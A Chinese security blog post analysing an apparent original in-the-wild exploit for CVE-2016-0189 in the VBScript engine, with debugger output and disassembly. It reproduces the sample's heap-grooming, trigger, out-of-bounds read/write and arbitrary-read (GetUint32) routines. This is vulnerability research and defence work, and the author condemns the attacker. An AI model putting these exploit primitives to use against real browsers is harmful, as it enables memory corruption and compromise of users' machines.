前言
去年10
月底,我得到一个与大众视野中不太一样的CVE-2016-0189
利用样本。初步分析后,我觉得着这应该是当年CVE-2016-0189
的原始攻击文件。其混淆手法和后续出现的CVE-2017-0149
、CVE-2018-8174
、CVE-2018-8373
完全一致。其利用及加载shellcode
的手法也都和后面几个利用一致。
当时我手头有其他事情,并未对该样本进行仔细研究。几天前,我重新翻出了相关样本进行了一番调试。
本文我将描述该CVE-2016-0189
样本的利用方式,读者在后面将会看到,利用过程中的错位手法和CVE-2014-6332
,CVE-2017-0149
,CVE-2018-8174
以及CVE-2018-8373
几乎一致。
之前大众视野中的CVE-2016-0189
样本,基本都是参考这篇文章中公开的代码,关于这份公开代码的利用细节,我在之前的文章已有详细分析。
下面我们来一窥3
年前CVE-2016-0189
实际0day
样本的利用手法。
内存布局
原样本中借助如下代码进入利用函数
document.write("<script language='javascript'> var obj = {}; obj.toString = function() { my_valueof(); return 0;}; StartExploit(obj); " &Unescape("%3c/script%3e"))
在StartExploit
函数中,首先调用prepare
函数进行内存布局。每次执行arr2(i) = Null
会导致一个tagSAFEARRAY
结构体内存被回收。
ReDim arr(0, 0)
arr(0, 0) = 3 '这一步很重要,数字3在错位后会被解释为vbLong类型
...
Sub prepare
Dim arr5()
ReDim arr5(2)
For i = 0 To 17
arr3(i) = arr5
Next
For i = 0 To &h7000
arr1(i) = arr
Next
For i = 0 To 1999
arr2(i) = arr '将 arr2 的每个成员初始化为一个数组
Next
For i = 1000 To 100 Step -3
arr2(i)(0, 0) = 0
arr2(i) = Null '释放 arr2(100) ~ arr2(1000) 之间 1/3 的元素
Next
ReDim arr4(0, &hFFF) '定义 arr4
End Sub
Function StartExploit(js_obj)
'省略无关代码
prepare
arr4(js_obj, 6) = &h55555555
For i = 0 To 1999
If IsArray(arr2(i)) = True Then
If UBound(arr2(i), 1) > 0 Then
vul_index = i
Exit For
End If
End If
Next
lb_index = LBound(arr2(i), 1)
If prepare_rw_mem() = True Then
Else
Exit Function
End If
addr = leak_addr()
'省略后续代码
End Function
每个tagSAFEARRAY
在内存中占据的大小为0x30
字节,其中后0x20
字节存储着tagSAFEARRAY
的实际数据。
0:015> !heap -p -a 052a9fb0
address 052a9fb0 found in
_HEAP @ 360000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
052a9f98 0007 0000 [00] 052a9fa0 00030 - (busy)
0:015> dd 052a9fa0 l30/4
052a9fa0 00000000 00000000 00000000 0000000c
052a9fb0 08800002 00000010 00000000 0529d640
052a9fc0 00000001 00000000 00000001 00000000
0:015> dt ole32!tagSAFEARRAY 052a9fb0
+0x000 cDims : 2
+0x002 fFeatures : 0x880
+0x004 cbElements : 0x10
+0x008 cLocks : 0
+0x00c pvData : 0x0529d640
+0x010 rgsabound : [1] tagSAFEARRAYBOUND
整个释放过程造成大约300
个0x30
大小的内存空洞。
触发漏洞
内存布局完毕后,利用代码通过arr4(js_obj, 6) = &h55555555
这一操作进入自定义的my_valueof
回调函数,然后在回调函数中重新定义arr4
。这导致arr4
对应的原pvData
内存被释放,并按照所需大小申请新的内存。
Sub my_valueof()
ReDim arr4(2, 0)
End Sub
上述语句将导致arr4(2, 0)
对应的pvData
去申请一块大小为0x30
的内存,借助相关内存的分配特性,此过程会重用某块刚才释放的tagSAFEARRAY
内存。
我们来仔细看一下arr4(js_obj, 6) = &h55555555
语句的执行逻辑。
CVE-2016-0189
的成因在于AccessArray
中遇到javascript
对象后可以导致一个对重载函数的回调my_valueof
,利用代码在my_valueof
将arr4
重新定义为arr4(2, 0)
,当回调完成再次返回到AccessArray
时,arr4
相关的tagSAFEARRAY
结构体和pvData
指针均已被修改,而AccessArray
会继续往下执行的时候仍然按照arr4(0, 6)在计算元素地址,并将计算得到的地址保存到一个栈变量上。
以下汇编代码为vbscript!CScriptRuntime::RunNoEH
函数先后调用AccessArray
和AssignVar
的代码片段,此处AccessArray
返回的元素地址会保存到一个栈变量[ebp-1Ch]
上,RunNoEH
随后会从栈上获取该变量,赋值给edx
,并在调用AssignVar
时作为目的地址使用。
6d767679 8b55d8 mov edx,dword ptr [ebp-28h]
6d76767c 8d4de4 lea ecx,[ebp-1Ch] ; ebp-1Ch 是一个栈上的变量,AccessArray 访问到的具体地址会存放到这个变量里面
6d76767f 6a00 push 0
6d767681 ffb3b0000000 push dword ptr [ebx+0B0h]
6d767687 56 push esi
6d767688 e886feffff call vbscript!AccessArray (6d767513)
6d76768d 8945f8 mov dword ptr [ebp-8],eax
6d767690 85c0 test eax,eax
6d767692 0f888ebe0200 js vbscript!CScriptRuntime::RunNoEH+0x40db7 (6d793526)
6d767698 8b83b0000000 mov eax,dword ptr [ebx+0B0h]
6d76769e 8b55e4 mov edx,dword ptr [ebp-1Ch] ss:0023:02c1bd98=0253a2c0 ; 将 ebp-1Ch 变量保存到edx
6d7676a1 8b0b mov ecx,dword ptr [ebx]
6d7676a3 c1e604 shl esi,4
6d7676a6 6a01 push 1
6d7676a8 03c6 add eax,esi
6d7676aa 50 push eax
6d7676ab e8cab8feff call vbscript!AssignVar (6d752f7a)
构造超长数组
通过上述步骤,&h55555555
对应的tagVARIANT
被写入某个属于arr2(i)
的tagSAFEARRAY
结构体。从而获得一个可以用来越界读写的二维数组。
在调试器中看超长数组
我们先来看一下arr2(i) = Null
操作全部结束的arr2
。
// arr2 tagSAFEARRAY
0:007> dd 034a8d90 l6
034a8d90 08920001 00000010 00000000 0506c060
034a8da0 000007d0 00000000
// arr2 tagSAFEARRAY.pvData
0:007> dd 0506c060
0506c060 0288200c 02888208 052a8848 00000002
0506c070 0288200c 02888208 052a8880 00000002
0506c080 0288200c 02888208 052a88b8 00000002
0506c090 0288200c 02888208 052a88f0 00000002
0506c0a0 0288200c 02888208 052a8928 00000002
0506c0b0 0288200c 02888208 052a8960 00000002
0506c0c0 0288200c 02888208 052a8998 00000002
0506c0d0 0288200c 02888208 052a89d0 00000002
// arr2(100) 开始的数据
0:015> dd 0506c060 + 0n100*10 l4*20
0506c6a0 00000001 00000000 00000000 00000000
0506c6b0 0288200c 02888208 052a9e60 00000002
0506c6c0 0288200c 02888208 052a9e98 00000002
0506c6d0 00000001 00000000 00000000 00000000 // 052a9ed0 原先位于这里
0506c6e0 0288200c 02888208 052a9f08 00000002
0506c6f0 0288200c 02888208 052a9f40 00000002
0506c700 00000001 00000000 00000000 00000000
...
然后来看一下重新分配后的arr4
。结合上面的注释我们可以注意到0x052a9ed0
处原来是一个tagSAFEARRAY
结构体,其实际占用的内存区间为0x052a9ed0 ~ 0x052a9ed0 + 0x30
。
随后arr4
被重新定义,其pvData
所需的内存大小为0x30
,恰好占用了刚被释放的tagSAFEARRAY
内存区域。
上述占位手法和CVE-2018-8373
完全一致。
// arr4 tagSAFEARRAY.pvData 大小为 0x30
// 它重用了 arr2 中某个(本次调试时为 arr2(103))被释放的 tagSAFEARRAY 对应的内存块
0:015> !heap -p -a 052a9ec0
address 052a9ec0 found in
_HEAP @ 360000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
052a9eb8 0007 0000 [00] 052a9ec0 00030 - (busy)
// arr4 tagSAFEARRAY.pvData
0:007> dd 052a9ec0
052a9ec0 00000000 00000000 00000000 00000000 // arr4(0, 0)
052a9ed0 00000000 00000000 00000000 00000000 // arr4(0, 1)
052a9ee0 00000000 00000000 00000000 00000000 // arr4(0, 2)
052a9ef0 27567e4f 88000000 00000000 00000000 // arr4(0, 3)
052a9f00 00000000 0000000c 08800002 00000010 // arr4(0, 4)
052a9f10 00000000 0529d5f8 00000001 00000000 // arr4(0, 5)
052a9f20 00000001 00000000 27567e74 88000000 // arr4(0, 6) 被改写前
052a9f30 00000000 00000000 00000000 0000000c
0:005> dd 052a9ec0
052a9ec0 00000000 00000000 00000000 00000000
052a9ed0 00000000 00000000 00000000 00000000
052a9ee0 00000000 00000000 00000000 00000000
052a9ef0 27567e4f 88000000 00000000 00000000
052a9f00 00000000 0000000c 08800002 00000010
052a9f10 00000000 0529d5f8 00000001 00000000
052a9f20 02880003 01d89a08 55555555 0000019e // arr4(0, 6) 被改写后
052a9f30 00000000 00000000 00000000 0000000c
从下面的日志可以看到arr2
的某个成员对应的tagSAFEARRAY
被改写了,变成了一个第一维超长的二维数组。pvData = 0529d5f8
, LBound = 01d89a08
, 一维元素个数为02880003
, 每个元素大小为0x10
字节
// 被改写的 arr2(x) tagSAFEARRAY, x此时未知
// 可以看到第一维长度被改写为 02880003,LBound 被改写为 01d89a08
0:005> dd 052a9f08 l8
052a9f08 08800002 00000010 00000000 0529d5f8
052a9f18 00000001 00000000 02880003 01d89a08
// 调试器内全局搜索 052a9f08
0:005> s -d 0x0 l?0x7fffffff 052a9f08
01db1a70 052a9f08 01d89ff4 01d40008 00000000 ..*.............
0506c6e8 052a9f08 00000002 0288200c 02888208 ..*...... ......
// 计算 x
0:005> ? (0506c6e8-0506c060) / 10
Evaluate expression: 104 = 00000068 // 第 104 个 arr2(i), 即 arr2(103)
// x = 0x68 = 0n104,对应 arr2(103)
0:005> dd 0506c060 + 68 * 10 l4
0506c6e0 0288200c 02888208 052a9f08 00000002
随后遍历arr2
数组成员来查找长度发生变化的成员,并保存对应的索引到vul_index
,本次调试中vul_index = 103
。
For i = 0 To 1999
If IsArray(arr2(i)) = True Then
If UBound(arr2(i), 1) > 0 Then
vul_index = i
Exit For
End If
End If
并在上述基础上封装了两个越界读写函数。
Function read(offset)
read = Abs(arr2(vul_index)(lb_index + offset, 0))
End Function
Sub write(offset, value)
arr2(vul_index)(lb_index + offset, 0) = value
End Sub
实现错位操作
有了越界读写能力后,利用代码还需要准备一块可以用于错位读写的内存。
Function prepare_rw_mem
On Error Resume Next
offset = 0
mem_index = 0
g_offset = 0
prepare_rw_mem = False
Do While offset < &h1000
val_1 = read(offset)
If val_1 > 3 Then
val_2 = read(offset + 1)
val_3 = read(offset + 4)
If val_2 = 3 And val_3 = 3 Then
g_offset = offset
write offset, "A"
Exit Do
End If
Else
val_1 = 0
val_2 = 0
val_3 = 0
End If
offset = offset + 1
Loop
For i = 0 To 1999
If find_rw_mem(arr2(i)) = True Then
mem_index = i
prepare_rw_mem = True
Exit For
End If
Next
End Function
上述代码描述了整个查找过程,我们可以看到利用代码借助超长数组arr2(103)
去查找一个符合条件的成员索引,从代码的设计来看原作者想找的是一个紧邻HEAP_ENTRY
结构的arr2(i)(0, 0)
成员。随后将该索引保存到一个全局索引g_offset
。接着将对应地址处的变量设为代表字符为A
的BSTR
对象。完成上述步骤后,代码又借助arr2
去查找刚刚被设置的BSTR
变量附近带有特征的内存,并将相应的索引保存到mem_index
。
在调试器中看查找过程
我们在调试器中看一下相关过程。
以下是从arr2(103)(LBound, 0)
开始的内存视角,可以看到本次调试中找到的g_offset = 5
,LBound = 01d89a08
。
随后一个BSTR
变量A
被写入0529d648
对应的0x10
字节
随后代码又以arr2(i)(0, 0)
的视角来查找被写入的BSTR
变量。本次调试中符合条件的i = 107
,所以 mem_index = 107
。
我们来感受一下相差8
字节的精妙错位。
任意地址读取
在上述错位的基础上,利用代码借用arr2(103)(LBound + 5, 0)
和arr2(107)(0, 0)
两个不同的数组视角封装了一个任意地址读取函数GetUint32
。
Function GetUint32(addr)
Dim value
write g_offset, addr + 4
arr2(mem_index)(0, 0) = 8
value = LenB(arr2(vul_index)(lb_index + g_offset, 0))
arr2(mem_index)(0, 0) = 0
GetUint32 = value
End Function
后续的操作和之前已经有过分析文章的 CVE-2017-0149
、CVE-2018-8174
和CVE-2018-8373
基本一致,这里不再重复分析。
结语
本文我分析了一个可能是原始CVE-2016-0189
利用文件的漏洞触发和利用细节。这些细节和该漏洞这几年在公众视野中的印象有所不同。从利用代码的编写风格来看,这个利用样本和CVE-2017-0149
,CVE-2018-8174
以及CVE-2018-8373
应该是同一作者。这个作者深谙vbscript
漏洞利用编写之道,在相关的几个在野利用中,他对vbscript
的内存错位运用得淋漓尽致。
在漏洞利用的技巧方面,我非常佩服该作者。但从0day售卖/攻击的角度来看,这些被运用于实际攻击中的高级利用代码所产生的危害是巨大的。作者在牟利/定向攻击的同时,完全没有考虑到对网络安全大环境产生的严重影响。作者手上肯定还有其他高质量的脚本引擎漏洞,这里也请广大安全厂商引起警惕。
发表评论
您还未登录,请先登录。
登录